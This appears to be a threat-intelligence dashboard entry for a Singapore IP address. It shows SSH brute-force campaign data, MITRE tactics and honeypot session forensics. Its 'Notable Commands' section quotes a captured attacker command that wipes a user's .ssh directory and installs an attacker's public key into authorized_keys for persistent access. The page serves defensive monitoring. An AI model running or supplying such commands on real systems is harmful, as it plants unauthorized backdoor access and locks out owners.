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Location
🇸🇬 SG / Singapore
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
156
Above average by volume
Agent Count
1
First / Last Seen
2026-04-26 13:25 — 2026-05-02 07:01
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH af8223ac9914… — SSH-2.0-libssh_0.12.0 (662 IPs, 79 countries)
HASSH
Active
high
🇭🇰 HK
662 IPs
249452 events
ssh:bruteforce
2026-02-28 — ongoing · 662 IPs are running an identical SSH client (HASSH fingerprint af8223ac9914…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
37 IPs
8436 events
http:scanssh:bruteforce
2026-02-18 — ongoing · 37 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
28 (4 with login)
Avg Depth Score
0.28
Commands Executed
6
Files Downloaded
2
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Opportunistic Bruter
ccf1c527f58f
LOGIN
1
50%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
Malware Dropper
d4bd4d6328ca
LOGIN
3
1
1
100%
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HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
d0cd637ebdc5
LOGIN
3
1
1
100%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
bc26921d265d
LOGIN
1
50%
Loading events...
HASSH af8223ac9914f50…
SSH-2.0-libssh_0.12.0